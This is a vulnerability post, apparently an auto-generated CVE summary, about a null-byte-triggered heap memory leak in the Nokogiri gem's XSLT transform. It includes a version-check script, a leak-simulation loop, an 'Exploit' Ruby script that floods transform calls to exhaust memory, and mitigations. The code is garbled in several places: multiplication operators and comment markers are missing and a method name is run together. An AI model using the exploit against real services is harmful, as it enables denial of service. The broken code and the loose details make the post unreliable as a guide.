Listen to this Post
The vulnerability resides in Nokogiri’s `Nokogiri::XSLT::Stylesheettransform` method. Internally, this method passes Ruby string parameters to a C function that allocates memory on the heap. When a Ruby string containing a null byte (\0) is passed as a parameter, the underlying C code creates a new allocation to handle the string. However, because the null byte is an invalid character in the context of XSLT parameters, the function raises an exception before it can free the temporary allocation. This results in a persistent memory leak of approximately 24-32 bytes per failed call. The leak does not corrupt memory or disclose information, but each leaked block remains allocated for the lifetime of the process. Sustained, attacker-controlled requests can cause gradual memory exhaustion, leading to a denial-of-service (DoS) condition, especially in long-running server environments. The leak is triggered only when the parameter is a Ruby string containing a null byte; other invalid inputs or benign strings do not trigger the leak.
DailyCVE Form:
Platform: Ruby Nokogiri gem
Version: <1.19.3
Vulnerability: Heap memory leak
Severity: Medium (CVSS 5.3)
date: 2026-05-06
Prediction: Patch released 2026-04-27
Analytics under heading What Undecode Say:
Detect vulnerable version
gem list nokogiri | grep -E '1.[0-9]+.[0-9]+' | while read line; do
version=$(echo $line | grep -oP '1.\d+.\d+')
if [[ "$version" < "1.19.3" ]]; then
echo "Vulnerable: $version"
else
echo "Safe: $version"
fi
done
Simulate memory leak for testing (repeated calls with null byte)
require 'nokogiri'
xslt = Nokogiri::XSLT::Stylesheet.new(File.read("transform.xsl"))
while true do
begin
xslt.transform("<root/>", { param: "ABC\0DEF" })
rescue ArgumentError => e
puts "Leak triggered (memory consumption increasing): {e.message}"
end
sleep 0.1
end
Monitor process memory usage over time (Linux)
while true; do ps -o rss= -p $(pgrep -f "ruby.leak_test"); sleep 1; done
Exploit:
require 'nokogiri'
Parse a malicious XSLT (provided by attacker)
malicious_xsl = <<~XSLT
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/">
<xsl:value-of select="$payload"/>
</xsl:template>
</xsl:stylesheet>
XSLT
xslt = Nokogiri::XSLT::Stylesheet.new(malicious_xsl)
payload = "A" 1000 + "\0" Null byte to cause leak
Repeatedly call transform with the malicious payload
10000.times do
begin
xslt.transform("<root/>", { payload: payload })
rescue ArgumentError
Leak occurs here, memory not freed
end
end
puts "Exploit complete. Check memory usage of this process."
Real-world attack: poison long-running service (e.g., web server) via repeated requests.
Protection from this CVE:
- Upgrade: Update to Nokogiri >= 1.19.3 (
gem update nokogiri). - Input validation: Reject or sanitize any string containing a null byte (
\0) before passing it totransform. - Runtime isolation: Run XSLT transformation in a separate, short-lived process (e.g., using `fork` or a background job) to limit the impact of leaks.
- Resource limits: Set process memory limits (e.g.,
ulimit -v) to prevent unbounded memory growth in production.
Impact:
- Denial of Service (DoS) – Gradual memory exhaustion in long-running applications (e.g., API servers, background workers).
- No code execution – The leak does not allow remote code execution (RCE).
- No data leakage – No unauthorized memory read or information disclosure.
- No corruption – No memory corruption or undefined behavior beyond the leak.
- Affected scenarios – Only applications that pass attacker-controlled strings to XSLT parameters. Low-frequency or internal-only uses are unlikely to be impacted.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
